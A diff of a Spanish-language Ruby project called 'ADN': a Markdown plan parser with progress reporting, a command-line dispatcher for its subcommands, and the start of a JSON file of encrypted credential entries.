||||
@lines = []
|
||||
@original_content = nil
|
||||
@changes_made = false
|
||||
end
|
||||
|
||||
# Parsea el archivo completo y extrae estructura
|
||||
#
|
||||
# @return [PlanParser] self para encadenamiento
|
||||
def parse_file
|
||||
unless File.exist?(@file_path)
|
||||
@logger.error("Archivo de plan no encontrado: #{@file_path}")
|
||||
raise "Archivo no encontrado: #{@file_path}"
|
||||
end
|
||||
|
||||
@logger.info("Parseando archivo de plan: #{@file_path}")
|
||||
@original_content = File.read(@file_path, encoding: 'UTF-8')
|
||||
@lines = @original_content.lines.map(&:chomp)
|
||||
|
||||
debug_log("Archivo leído, #{@lines.size} líneas")
|
||||
debug_log("Primeras 5 líneas: #{@lines.first(5).inspect}")
|
||||
|
||||
extract_metadata
|
||||
parse_structure
|
||||
|
||||
@logger.info("Parseo completado: #{@phases.size} fases, #{@tasks.size} tareas encontradas")
|
||||
|
||||
if @phases.empty? || @tasks.empty?
|
||||
debug_log("ADVERTENCIA: No se encontraron fases o tareas. Posibles causas:")
|
||||
debug_log(" - Patrones regex no coinciden con el formato del archivo")
|
||||
debug_log(" - El archivo no sigue la estructura esperada")
|
||||
debug_log(" - Los encabezados de fase no coinciden con PHASE_PATTERN")
|
||||
debug_log(" PHASE_PATTERN: #{PHASE_PATTERN.inspect}")
|
||||
debug_log(" TASK_PATTERN: #{TASK_PATTERN.inspect}")
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Actualiza el estado de una tarea específica
|
||||
#
|
||||
# @param task_id [String] ID de la tarea (ej: "1.1", "A1")
|
||||
# @param completed [Boolean] true para marcar como completada
|
||||
# @param notes [String] Notas adicionales (opcional)
|
||||
# @return [Boolean] true si la tarea fue encontrada y actualizada
|
||||
def update_task_status(task_id, completed, notes = nil)
|
||||
task = find_task_by_id(task_id)
|
||||
|
||||
unless task
|
||||
@logger.warn("Tarea no encontrada: #{task_id}")
|
||||
return false
|
||||
end
|
||||
|
||||
new_state = completed ? 'x' : ' '
|
||||
old_state = task[:state]
|
||||
|
||||
if new_state != old_state
|
||||
# Actualizar línea en el archivo
|
||||
line_index = task[:line_number] - 1
|
||||
original_line = @lines[line_index]
|
||||
|
||||
if original_line && original_line.match(TASK_PATTERN)
|
||||
updated_line = original_line.sub(/\[#{old_state}\]/, "[#{new_state}]")
|
||||
|
||||
# Agregar notas si se proporcionan
|
||||
if notes && !notes.empty?
|
||||
# Si ya hay notas, actualizarlas, sino agregar
|
||||
if original_line.match(/\((.+?)\)$/)
|
||||
updated_line = updated_line.sub(/\((.+?)\)$/, "(#{notes})")
|
||||
else
|
||||
updated_line = "#{updated_line} (#{notes})"
|
||||
end
|
||||
end
|
||||
|
||||
@lines[line_index] = updated_line
|
||||
task[:state] = new_state
|
||||
task[:completed] = completed
|
||||
task[:notes] = notes if notes
|
||||
task[:updated_at] = Time.now.iso8601
|
||||
|
||||
@changes_made = true
|
||||
@logger.info("Tarea #{task_id} actualizada: #{old_state} → #{new_state}")
|
||||
|
||||
# Actualizar emoji de fase si corresponde
|
||||
update_phase_emoji_if_needed(task[:phase_number])
|
||||
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Marca múltiples tareas como completadas
|
||||
#
|
||||
# @param task_ids [Array<String>] IDs de las tareas
|
||||
# @param notes [String] Notas para todas las tareas (opcional)
|
||||
# @return [Hash] Resultado con tareas actualizadas y fallidas
|
||||
def complete_tasks(task_ids, notes = nil)
|
||||
results = { updated: [], failed: [] }
|
||||
|
||||
task_ids.each do |task_id|
|
||||
if update_task_status(task_id, true, notes)
|
||||
results[:updated] << task_id
|
||||
else
|
||||
results[:failed] << task_id
|
||||
end
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
# Guarda los cambios en el archivo original
|
||||
#
|
||||
# @param backup [Boolean] Crear backup antes de guardar
|
||||
# @return [Boolean] true si se guardaron cambios
|
||||
def save_changes(backup: true)
|
||||
return false unless @changes_made
|
||||
|
||||
if backup
|
||||
create_backup
|
||||
end
|
||||
|
||||
File.write(@file_path, @lines.join("\n") + "\n", encoding: 'UTF-8')
|
||||
@changes_made = false
|
||||
|
||||
@logger.info("Cambios guardados en #{@file_path}")
|
||||
true
|
||||
end
|
||||
|
||||
# Genera un reporte de progreso
|
||||
#
|
||||
# @param format [Symbol] Formato del reporte (:text, :json, :markdown)
|
||||
# @return [String] Reporte formateado
|
||||
def progress_report(format: :text)
|
||||
case format
|
||||
when :json
|
||||
generate_json_report
|
||||
when :markdown
|
||||
generate_markdown_report
|
||||
else
|
||||
generate_text_report
|
||||
end
|
||||
end
|
||||
|
||||
# Encuentra una tarea por su ID
|
||||
#
|
||||
# @param task_id [String] ID de la tarea
|
||||
# @return [Hash, nil] Información de la tarea o nil
|
||||
def find_task_by_id(task_id)
|
||||
@tasks.find { |t| t[:id] == task_id }
|
||||
end
|
||||
|
||||
# Encuentra tareas por fase
|
||||
#
|
||||
# @param phase_number [Integer] Número de fase
|
||||
# @return [Array<Hash>] Tareas de la fase
|
||||
def tasks_by_phase(phase_number)
|
||||
@tasks.select { |t| t[:phase_number] == phase_number }
|
||||
end
|
||||
|
||||
# Encuentra tareas por semana
|
||||
#
|
||||
# @param phase_number [Integer] Número de fase
|
||||
# @param week_number [Integer] Número de semana
|
||||
# @return [Array<Hash>] Tareas de la semana
|
||||
def tasks_by_week(phase_number, week_number)
|
||||
@tasks.select { |t| t[:phase_number] == phase_number && t[:week_number] == week_number }
|
||||
end
|
||||
|
||||
# Calcula estadísticas de progreso
|
||||
#
|
||||
# @return [Hash] Estadísticas detalladas
|
||||
def progress_stats
|
||||
total_tasks = @tasks.size
|
||||
completed_tasks = @tasks.count { |t| t[:completed] }
|
||||
|
||||
phase_stats = @phases.map do |phase|
|
||||
phase_tasks = tasks_by_phase(phase[:number])
|
||||
phase_completed = phase_tasks.count { |t| t[:completed] }
|
||||
|
||||
{
|
||||
number: phase[:number],
|
||||
name: phase[:name],
|
||||
total: phase_tasks.size,
|
||||
completed: phase_completed,
|
||||
percentage: phase_tasks.empty? ? 0 : (phase_completed * 100 / phase_tasks.size).round(1)
|
||||
}
|
||||
end
|
||||
|
||||
week_stats = []
|
||||
@phases.each do |phase|
|
||||
(1..4).each do |week|
|
||||
week_tasks = tasks_by_week(phase[:number], week)
|
||||
next if week_tasks.empty?
|
||||
|
||||
week_completed = week_tasks.count { |t| t[:completed] }
|
||||
week_stats << {
|
||||
phase: phase[:number],
|
||||
week: week,
|
||||
total: week_tasks.size,
|
||||
completed: week_completed,
|
||||
percentage: (week_completed * 100 / week_tasks.size).round(1)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
{
|
||||
total_tasks: total_tasks,
|
||||
completed_tasks: completed_tasks,
|
||||
pending_tasks: total_tasks - completed_tasks,
|
||||
overall_percentage: total_tasks.zero? ? 0 : (completed_tasks * 100 / total_tasks).round(1),
|
||||
phases: phase_stats,
|
||||
weeks: week_stats,
|
||||
last_updated: Time.now.iso8601,
|
||||
file_path: @file_path
|
||||
}
|
||||
end
|
||||
|
||||
# Exporta el progreso a un archivo JSON
|
||||
#
|
||||
# @param output_path [String] Ruta de salida (opcional)
|
||||
# @return [String] JSON generado
|
||||
def export_progress(output_path = nil)
|
||||
export_data = {
|
||||
metadata: @metadata.merge(
|
||||
exported_at: Time.now.iso8601,
|
||||
version: '1.0'
|
||||
),
|
||||
progress: progress_stats,
|
||||
tasks: @tasks.map { |t| t.reject { |k| k == :line_number } },
|
||||
phases: @phases
|
||||
}
|
||||
|
||||
json_data = JSON.pretty_generate(export_data)
|
||||
|
||||
if output_path
|
||||
File.write(output_path, json_data, encoding: 'UTF-8')
|
||||
@logger.info("Progreso exportado a #{output_path}")
|
||||
end
|
||||
|
||||
json_data
|
||||
end
|
||||
|
||||
# Valida la integridad del plan
|
||||
#
|
||||
# @return [Hash] Resultados de validación
|
||||
def validate_plan
|
||||
errors = []
|
||||
warnings = []
|
||||
|
||||
# Verificar que todas las tareas tengan IDs únicos
|
||||
task_ids = @tasks.map { |t| t[:id] }
|
||||
duplicates = task_ids.group_by { |id| id }.select { |_, ids| ids.size > 1 }.keys
|
||||
|
||||
duplicates.each do |duplicate_id|
|
||||
errors << "ID duplicado: #{duplicate_id}"
|
||||
end
|
||||
|
||||
# Verificar referencias a fases inexistentes
|
||||
@tasks.each do |task|
|
||||
unless @phases.any? { |p| p[:number] == task[:phase_number] }
|
||||
warnings << "Tarea #{task[:id]} referencia fase #{task[:phase_number]} que no existe"
|
||||
end
|
||||
end
|
||||
|
||||
# Verificar tareas sin descripción
|
||||
@tasks.each do |task|
|
||||
if task[:description].to_s.strip.empty?
|
||||
warnings << "Tarea #{task[:id]} sin descripción"
|
||||
end
|
||||
end
|
||||
|
||||
{
|
||||
valid: errors.empty?,
|
||||
errors: errors,
|
||||
warnings: warnings,
|
||||
tasks_count: @tasks.size,
|
||||
phases_count: @phases.size
|
||||
}
|
||||
end
|
||||
|
||||
# Genera un resumen ejecutivo para dashboard
|
||||
#
|
||||
# @return [Hash] Resumen ejecutivo
|
||||
def executive_summary
|
||||
stats = progress_stats
|
||||
|
||||
next_phase = @phases.find { |p| stats[:phases].find { |ps| ps[:number] == p[:number] }[:percentage] < 100 }
|
||||
next_tasks = @tasks.select { |t| !t[:completed] }.sort_by { |t| [t[:phase_number], t[:week_number]] }.first(5)
|
||||
|
||||
{
|
||||
overall_progress: stats[:overall_percentage],
|
||||
completed_tasks: stats[:completed_tasks],
|
||||
pending_tasks: stats[:pending_tasks],
|
||||
next_phase: next_phase ? {
|
||||
number: next_phase[:number],
|
||||
name: next_phase[:name],
|
||||
progress: stats[:phases].find { |p| p[:number] == next_phase[:number] }[:percentage]
|
||||
} : nil,
|
||||
next_tasks: next_tasks.map { |t| { id: t[:id], description: t[:description] } },
|
||||
estimated_completion: estimate_completion_date,
|
||||
last_updated: @tasks.map { |t| t[:updated_at] }.compact.max || @metadata[:created_at]
|
||||
}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Extrae metadatos del archivo
|
||||
def extract_metadata
|
||||
@metadata = {
|
||||
file_path: @file_path,
|
||||
file_size: File.size(@file_path),
|
||||
created_at: File.ctime(@file_path).iso8601,
|
||||
modified_at: File.mtime(@file_path).iso8601
|
||||
}
|
||||
|
||||
# Buscar metadatos en las primeras líneas
|
||||
@lines.each_with_index do |line, index|
|
||||
break if index > 20 # Solo primeras 20 líneas
|
||||
|
||||
case line
|
||||
when /^#\s*(.+)$/
|
||||
@metadata[:title] = $1.strip
|
||||
when /^\*\*Fecha:\*\*\s*(.+)$/
|
||||
@metadata[:date] = $1.strip
|
||||
when /^\*\*Autor:\*\*\s*(.+)$/
|
||||
@metadata[:author] = $1.strip
|
||||
when /^\*\*Versión:\*\*\s*(.+)$/
|
||||
@metadata[:version] = $1.strip
|
||||
when /^\*\*Estado:\*\*\s*(.+)$/
|
||||
@metadata[:status] = $1.strip
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Parsea la estructura completa del plan
|
||||
def parse_structure
|
||||
current_phase = nil
|
||||
current_week = nil
|
||||
current_section = nil
|
||||
|
||||
@lines.each_with_index do |line, line_number|
|
||||
debug_log("Línea #{line_number + 1}: #{line.inspect}")
|
||||
|
||||
# Buscar fases
|
||||
if match = line.match(PHASE_PATTERN)
|
||||
debug_log(" ✓ Coincide con PHASE_PATTERN: #{match.inspect}")
|
||||
current_phase = parse_phase(match, line_number + 1)
|
||||
@phases << current_phase
|
||||
current_week = nil
|
||||
current_section = "FASE #{current_phase[:number]}"
|
||||
|
||||
# Buscar semanas
|
||||
elsif match = line.match(WEEK_PATTERN)
|
||||
debug_log(" ✓ Coincide con WEEK_PATTERN: #{match.inspect}")
|
||||
current_week = match[1].to_i
|
||||
current_section = "Semana #{current_week}"
|
||||
|
||||
# Buscar tareas
|
||||
elsif match = line.match(TASK_PATTERN)
|
||||
debug_log(" ✓ Coincide con TASK_PATTERN: #{match.inspect}")
|
||||
if current_phase
|
||||
task = parse_task(match, line_number + 1, current_phase[:number], current_week)
|
||||
@tasks << task
|
||||
else
|
||||
debug_log(" ✗ Tarea ignorada: no hay fase actual")
|
||||
end
|
||||
|
||||
# Buscar KPIs en tablas
|
||||
elsif line.match?(KPI_TABLE_PATTERN) && !line.match?(/^[-|]/)
|
||||
# Solo procesar líneas de datos de tabla (no encabezados)
|
||||
if line.match?(/^\|/) && !line.match?(/^\|[-:|]/)
|
||||
parse_kpi_table_line(line, line_number + 1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
debug_log("Estructura parseada: #{@phases.size} fases, #{@tasks.size} tareas")
|
||||
end
|
||||
|
||||
# Parsea información de una fase
|
||||
def parse_phase(match, line_number)
|
||||
emoji = match[1] || PHASE_EMOJIS[match[2].to_i] || '⬜️'
|
||||
number = match[2].to_i
|
||||
name = match[3].strip
|
||||
|
||||
{
|
||||
number: number,
|
||||
name: name,
|
||||
emoji: emoji,
|
||||
line_number: line_number,
|
||||
original_line: match[0]
|
||||
}
|
||||
end
|
||||
|
||||
# Parsea información de una tarea
|
||||
def parse_task(match, line_number, phase_number, week_number)
|
||||
indent = match[1].to_s.length
|
||||
state_char = match[2].to_s
|
||||
task_id = match[3].strip
|
||||
description = match[4].strip
|
||||
notes = match[5]
|
||||
|
||||
{
|
||||
id: task_id,
|
||||
description: description,
|
||||
notes: notes,
|
||||
state: state_char,
|
||||
completed: TASK_STATES[state_char] == :completed,
|
||||
phase_number: phase_number,
|
||||
week_number: week_number,
|
||||
indent_level: indent / 2, # Asume indentación de 2 espacios
|
||||
line_number: line_number,
|
||||
original_line: match[0],
|
||||
updated_at: nil
|
||||
}
|
||||
end
|
||||
|
||||
# Parsea línea de tabla KPI
|
||||
def parse_kpi_table_line(line, line_number)
|
||||
return unless line.match?(KPI_TABLE_PATTERN)
|
||||
|
||||
parts = line.split('|').map(&:strip).reject(&:empty?)
|
||||
return unless parts.size >= 5 # Necesita al menos 5 columnas para ser KPI
|
||||
|
||||
kpi = {
|
||||
name: parts[0],
|
||||
baseline: parts[1],
|
||||
target_week_4: parts[2],
|
||||
target_week_8: parts[3],
|
||||
measurement: parts[4],
|
||||
line_number: line_number
|
||||
}
|
||||
|
||||
@kpis << kpi
|
||||
end
|
||||
|
||||
# Actualiza el emoji de fase si todas sus tareas están completadas
|
||||
def update_phase_emoji_if_needed(phase_number)
|
||||
phase = @phases.find { |p| p[:number] == phase_number }
|
||||
return unless phase
|
||||
|
||||
phase_tasks = tasks_by_phase(phase_number)
|
||||
return if phase_tasks.empty?
|
||||
|
||||
all_completed = phase_tasks.all? { |t| t[:completed] }
|
||||
new_emoji = all_completed ? '✅' : PHASE_EMOJIS[phase_number] || '⬜️'
|
||||
|
||||
# Actualizar línea de fase si el emoji cambió
|
||||
line_index = phase[:line_number] - 1
|
||||
original_line = @lines[line_index]
|
||||
|
||||
if original_line && original_line.match(PHASE_PATTERN)
|
||||
current_emoji = $1
|
||||
if current_emoji != new_emoji
|
||||
updated_line = original_line.sub(/#{Regexp.escape(current_emoji)}/, new_emoji)
|
||||
@lines[line_index] = updated_line
|
||||
phase[:emoji] = new_emoji
|
||||
@changes_made = true
|
||||
@logger.info("Fase #{phase_number} actualizada: #{current_emoji} → #{new_emoji}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Estima fecha de completitud basada en progreso
|
||||
def estimate_completion_date
|
||||
stats = progress_stats
|
||||
return nil if stats[:overall_percentage] == 100 || stats[:overall_percentage] == 0
|
||||
|
||||
start_date = Time.parse(@metadata[:date] || @metadata[:created_at])
|
||||
elapsed_days = (Time.now - start_date).to_i / 86400
|
||||
|
||||
if elapsed_days > 0
|
||||
completion_rate = stats[:overall_percentage] / elapsed_days
|
||||
remaining_percentage = 100 - stats[:overall_percentage]
|
||||
estimated_days_remaining = (remaining_percentage / completion_rate).ceil
|
||||
(Time.now + (estimated_days_remaining * 86400)).strftime("%Y-%m-%d")
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Crea backup del archivo original
|
||||
def create_backup
|
||||
backup_dir = File.join(File.dirname(@file_path), 'backups')
|
||||
FileUtils.mkdir_p(backup_dir)
|
||||
|
||||
timestamp = Time.now.strftime('%Y%m%d_%H%M%S')
|
||||
backup_file = File.join(backup_dir, "#{File.basename(@file_path, '.md')}_#{timestamp}.md")
|
||||
|
||||
FileUtils.cp(@file_path, backup_file)
|
||||
@logger.info("Backup creado: #{backup_file}")
|
||||
end
|
||||
|
||||
# Genera reporte en formato texto
|
||||
def generate_text_report
|
||||
stats = progress_stats
|
||||
|
||||
report = []
|
||||
report << "=" * 80
|
||||
report << "REPORTE DE PROGRESO - #{@metadata[:title]}"
|
||||
report << "=" * 80
|
||||
report << ""
|
||||
report << "📊 ESTADÍSTICAS GENERALES"
|
||||
report << " • Tareas totales: #{stats[:total_tasks]}"
|
||||
report << " • Completadas: #{stats[:completed_tasks]}"
|
||||
report << " • Pendientes: #{stats[:pending_tasks]}"
|
||||
report << " • Progreso total: #{stats[:overall_percentage]}%"
|
||||
report << ""
|
||||
|
||||
report << "📈 PROGRESO POR FASES"
|
||||
stats[:phases].each do |phase|
|
||||
emoji = phase[:percentage] == 100 ? '✅' : PHASE_EMOJIS[phase[:number]] || '⬜️'
|
||||
report << " #{emoji} FASE #{phase[:number]}: #{phase[:name]}"
|
||||
report << " • Completadas: #{phase[:completed]}/#{phase[:total]} (#{phase[:percentage]}%)"
|
||||
end
|
||||
|
||||
report << ""
|
||||
report << "🚀 PRÓXIMAS TAREAS"
|
||||
next_tasks = @tasks.select { |t| !t[:completed] }.first(5)
|
||||
if next_tasks.any?
|
||||
next_tasks.each do |task|
|
||||
report << " • #{task[:id]}: #{task[:description]}"
|
||||
end
|
||||
else
|
||||
report << " ¡Todas las tareas están completadas! 🎉"
|
||||
end
|
||||
|
||||
report << ""
|
||||
report << "📅 ESTIMACIÓN DE COMPLETITUD"
|
||||
if completion_date = estimate_completion_date
|
||||
report << " • Fecha estimada: #{completion_date}"
|
||||
else
|
||||
report << " • Insuficientes datos para estimación"
|
||||
end
|
||||
|
||||
report << ""
|
||||
report << "🔄 ÚLTIMA ACTUALIZACIÓN: #{Time.now.strftime('%Y-%m-%d %H:%M:%S')}"
|
||||
report << "=" * 80
|
||||
|
||||
report.join("\n")
|
||||
end
|
||||
|
||||
# Genera reporte en formato markdown
|
||||
def generate_markdown_report
|
||||
stats = progress_stats
|
||||
|
||||
report = []
|
||||
report << "# Reporte de Progreso - #{@metadata[:title]}"
|
||||
report << ""
|
||||
report << "**Fecha de generación:** #{Time.now.strftime('%Y-%m-%d %H:%M:%S')}"
|
||||
report << ""
|
||||
|
||||
report << "## 📊 Estadísticas Generales"
|
||||
report << ""
|
||||
report << "| Métrica | Valor |"
|
||||
report << "|---------|-------|"
|
||||
report << "| Tareas totales | #{stats[:total_tasks]} |"
|
||||
report << "| Tareas completadas | #{stats[:completed_tasks]} |"
|
||||
report << "| Tareas pendientes | #{stats[:pending_tasks]} |"
|
||||
report << "| **Progreso total** | **#{stats[:overall_percentage]}%** |"
|
||||
report << ""
|
||||
|
||||
report << "## 📈 Progreso por Fases"
|
||||
report << ""
|
||||
stats[:phases].each do |phase|
|
||||
emoji = phase[:percentage] == 100 ? '✅' : PHASE_EMOJIS[phase[:number]] || '⬜️'
|
||||
progress_bar = "[#{'█' * (phase[:percentage] / 5)}#{'░' * (20 - phase[:percentage] / 5)}]"
|
||||
report << "### #{emoji} FASE #{phase[:number]}: #{phase[:name]}"
|
||||
report << ""
|
||||
report << "- **Progreso:** #{progress_bar} #{phase[:percentage]}%"
|
||||
report << "- **Completadas:** #{phase[:completed]}/#{phase[:total]}"
|
||||
report << ""
|
||||
end
|
||||
|
||||
report << "## 🚀 Próximas Tareas Prioritarias"
|
||||
report << ""
|
||||
next_tasks = @tasks.select { |t| !t[:completed] }.first(10)
|
||||
if next_tasks.any?
|
||||
next_tasks.each do |task|
|
||||
report << "- [ ] **#{task[:id]}:** #{task[:description]}"
|
||||
end
|
||||
else
|
||||
report << "🎉 **¡Todas las tareas están completadas!**"
|
||||
end
|
||||
|
||||
report.join("\n")
|
||||
end
|
||||
|
||||
# Genera reporte en formato JSON
|
||||
def generate_json_report
|
||||
JSON.pretty_generate(
|
||||
metadata: @metadata.merge(report_generated_at: Time.now.iso8601),
|
||||
progress: progress_stats,
|
||||
executive_summary: executive_summary,
|
||||
validation: validate_plan
|
||||
)
|
||||
end
|
||||
|
||||
# Logger por defecto
|
||||
def default_logger
|
||||
Class.new do
|
||||
def info(msg); puts "[INFO] #{msg}"; end
|
||||
def warn(msg); puts "[WARN] #{msg}"; end
|
||||
def error(msg); puts "[ERROR] #{msg}"; end
|
||||
def debug(msg); puts "[DEBUG] #{msg}"; end
|
||||
end.new
|
||||
end
|
||||
|
||||
# Log de depuración (solo se muestra si ADN_DEBUG está activado)
|
||||
def debug_log(message)
|
||||
if ENV['ADN_DEBUG'] == '1' || ENV['ADN_DEBUG'] == 'true'
|
||||
@logger.debug(message) if @logger.respond_to?(:debug)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Executable
+165
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env ruby
|
||||
# frozen_string_literal: true
|
||||
|
||||
# tools/adn.rb — Interfaz de línea de comandos unificada para el sistema ADN
|
||||
# ============================================================================
|
||||
# 🤖 DIRECTIVA IA: Esta herramienta es el punto de entrada principal para la
|
||||
# automatización del ADN. Su objetivo es reducir progresivamente la dependencia
|
||||
# de la IA mediante scripts Ruby autónomos.
|
||||
# ============================================================================
|
||||
# Uso: ./adn/tools/run <subcomando> [opciones] [argumentos]
|
||||
#
|
||||
# Subcomandos disponibles:
|
||||
# validador [--watch] [--fix] Validar cumplimiento del ADN en bitácoras
|
||||
# contexto <nodo> [--cmd] Obtener contexto topológico de un nodo
|
||||
# salud [--dashboard] [--json] Ver salud general del sistema ADN
|
||||
# generar bitacora [fecha] Generar nueva bitácora (fecha: YYYY-MM-DD)
|
||||
# generar nodo <nombre> Generar ficha de nodo
|
||||
# generar proyecto <código> Generar manifiesto de proyecto
|
||||
# conocimiento asimilar <archivo> Asimilar documentación al ADN
|
||||
# evolucion <propuesta.md> Gestionar propuesta de evolución del ADN
|
||||
# ayuda [subcomando] Mostrar ayuda detallada
|
||||
#
|
||||
# Documentación completa: docs/plan/260307-1400_Plan_Mejoras_ADN.md
|
||||
|
||||
require 'optparse'
|
||||
require 'json'
|
||||
require 'fileutils'
|
||||
require 'date'
|
||||
require 'time'
|
||||
|
||||
module ADN
|
||||
# El script ahora está en adn/tools/run, por lo que la raíz es 2 niveles arriba
|
||||
PROJECT_ROOT = File.expand_path('../..', __dir__)
|
||||
NODOS_DIR = File.join(PROJECT_ROOT, 'nodos')
|
||||
PROYECTOS_DIR = File.join(PROJECT_ROOT, 'docs', 'proyectos')
|
||||
# Corrección a las rutas de bitácoras y logs
|
||||
BITACORAS_DIR = File.join(PROJECT_ROOT, 'docs', 'bitacoras')
|
||||
LOGS_DIR = File.join(PROJECT_ROOT, 'docs', 'bitacoras', '_hist')
|
||||
|
||||
# Aseguramos que los directorios existan
|
||||
FileUtils.mkdir_p(LOGS_DIR) unless Dir.exist?(LOGS_DIR)
|
||||
FileUtils.mkdir_p(BITACORAS_DIR) unless Dir.exist?(BITACORAS_DIR)
|
||||
end
|
||||
|
||||
require_relative 'core/logger'
|
||||
require_relative 'core/eventos'
|
||||
require_relative 'core/triggers'
|
||||
require_relative 'core/validador'
|
||||
require_relative 'cli/db'
|
||||
require_relative 'cli/plan'
|
||||
require_relative 'cli/backup'
|
||||
require_relative 'cli/triggers'
|
||||
require_relative 'cli/conocimiento'
|
||||
require_relative 'cli/cierre'
|
||||
require_relative 'cli/inicio'
|
||||
require_relative 'core/conciliador'
|
||||
|
||||
require_relative 'core/colores'
|
||||
|
||||
# ─── Logger estructurado ─────────────────────────────────────────────────
|
||||
# El logger está implementado en adn/logger.rb
|
||||
ADNLogger = ADN::Logger
|
||||
|
||||
require_relative 'cli/validador'
|
||||
require_relative 'cli/contexto'
|
||||
require_relative 'cli/generar'
|
||||
require_relative 'cli/salud'
|
||||
require_relative 'cli/ayuda'
|
||||
|
||||
# ─── CLI Principal ──────────────────────────────────────────────────────
|
||||
class ADNCLI
|
||||
def initialize
|
||||
@logger = ADNLogger.new
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if ARGV.empty?
|
||||
SubcomandoAyuda.new([], @logger).ejecutar
|
||||
exit 0
|
||||
end
|
||||
|
||||
subcomando = ARGV[0]
|
||||
|
||||
# Saneamiento preventivo de pendientes (con cooldown de 5 minutos para performance)
|
||||
ejecutar_saneamiento_preventivo(subcomando)
|
||||
|
||||
args = ARGV[1..-1] || []
|
||||
|
||||
case subcomando
|
||||
when 'validador'
|
||||
SubcomandoValidador.new(args, @logger).ejecutar
|
||||
when 'contexto'
|
||||
SubcomandoContexto.new(args, @logger).ejecutar
|
||||
when 'salud'
|
||||
SubcomandoSalud.new(args, @logger).ejecutar
|
||||
when 'generar'
|
||||
SubcomandoGenerar.new(args, @logger).ejecutar
|
||||
when 'conocimiento'
|
||||
ADN::SubcomandoConocimiento.new(args, @logger).ejecutar
|
||||
when 'db'
|
||||
ADN::SubcomandoDB.new(args, @logger).ejecutar
|
||||
when 'backup', 'backups'
|
||||
ADN::SubcomandoBackup.new(args, @logger).ejecutar
|
||||
when 'triggers'
|
||||
ADN::SubcomandoTriggers.new(args, @logger).ejecutar
|
||||
when 'cierre'
|
||||
ADN::SubcomandoCierre.new(args, @logger).ejecutar
|
||||
when 'inicio'
|
||||
ADN::SubcomandoInicio.new(args, @logger).ejecutar
|
||||
when 'ayuda', 'help', '-h', '--help'
|
||||
SubcomandoAyuda.new(args, @logger).ejecutar
|
||||
when 'evolucion'
|
||||
@logger.info("Subcomando 'evolucion' será implementado en Fase 2")
|
||||
puts "#{Color::YELLOW}⚠ El subcomando 'evolucion' será implementado en Fase 2#{Color::RESET}"
|
||||
puts " Ver plan: docs/plan/260307-1400_Plan_Mejoras_ADN.md"
|
||||
when 'triggers'
|
||||
ADN::SubcomandoTriggers.new(args, @logger).ejecutar
|
||||
when 'plan'
|
||||
ADN::SubcomandoPlan.new(args, @logger).ejecutar
|
||||
else
|
||||
@logger.error("Subcomando desconocido: #{subcomando}")
|
||||
puts "#{Color::RED}✗ Subcomando desconocido: '#{subcomando}'#{Color::RESET}"
|
||||
puts ""
|
||||
SubcomandoAyuda.new([], @logger).ejecutar
|
||||
exit 1
|
||||
end
|
||||
rescue Interrupt
|
||||
puts "\n#{Color::YELLOW}⚠ Interrumpido por el usuario#{Color::RESET}"
|
||||
@logger.info("Ejecución interrumpida por usuario")
|
||||
exit 130
|
||||
rescue => e
|
||||
@logger.error("Error inesperado: #{e.message}", { backtrace: e.backtrace })
|
||||
puts "#{Color::RED}✗ Error inesperado: #{e.message}#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{e.backtrace.first}#{Color::RESET}" if ENV['ADN_DEBUG']
|
||||
exit 1
|
||||
end
|
||||
private
|
||||
|
||||
def ejecutar_saneamiento_preventivo(subcomando)
|
||||
# No sanear si es ayuda o db (para evitar bucles o lentitud en info rápida)
|
||||
return if ['ayuda', 'help', 'db', 'salud', '-h', '--help'].include?(subcomando)
|
||||
|
||||
archivo_cooldown = "/tmp/adn_sanity_cooldown"
|
||||
cooldown_segundo = 300 # 5 minutos
|
||||
|
||||
if File.exist?(archivo_cooldown)
|
||||
last_run = File.mtime(archivo_cooldown)
|
||||
return if (Time.now - last_run) < cooldown_segundo
|
||||
end
|
||||
|
||||
# Ejecutar conciliación
|
||||
begin
|
||||
# Tocamos el archivo primero para evitar que otras instancias concurrentes lo lancen
|
||||
FileUtils.touch(archivo_cooldown)
|
||||
ADN::Conciliador.new(@logger).ejecutar(silencioso: true)
|
||||
rescue => e
|
||||
@logger.advertencia("No se pudo completar el saneamiento preventivo: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# ─── Punto de entrada ───────────────────────────────────────────────────
|
||||
if __FILE__ == $0
|
||||
ADNCLI.new.ejecutar
|
||||
end
|
||||
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"sudo": "eyJpdiI6IkgzUnpoNHVGeWVqQUVGSDQiLCJ0YWciOiI3TmhPcjRGVFo3TFZHTUpNREVncXlBPT0iLCJkYXRhIjoiQlptVmtYbGdEcjFYWkxpZ21nPT0ifQ==",
|
||||
"rsa": "eyJpdiI6IkpoTmpZRWZMeE12eWhXSVMiLCJ0YWciOiJUUnJGY05qRlVoOTl2REplTms0ZU5RPT0iLCJkYXRhIjoiNkFIWCsyYm9ndzZKbGM3c0hRPT0ifQ==",
|
||||
"domain_admin": "eyJpdiI6IjlYV0JRSVA1MzNLblFycUEiLCJ0YWciOiJ3aHI4a1cwanpLWU5OUmVHby9pd3ZRPT0iLCJkYXRhIjoiT1B3VGNHNkpUSWI0SnJ5NW5adHNVZz09In0=",
|
||||
"admindasu": "eyJpdiI6IjlYV0JRSVA1MzNLblFycUEiLCJ0YWciOiJ3aHI4a1cwanpLWU5OUmVHby9pd3ZRPT0iLCJkYXRhIjoiT1B3VGNHNkpUSWI0SnJ5NW5adHNVZz09In0=",
|
||||
"win_domain": "eyJpdiI6IitrY2V0eEQxektEMFk2cGgiLCJ0YWciOiJtQmdIYU90ZTFFWUlGZElsMXBIOTJBPT0iLCJkYXRhIjoiNVVFanhaN2tIdHViZDRDRnlnPT0ifQ==",
|
||||
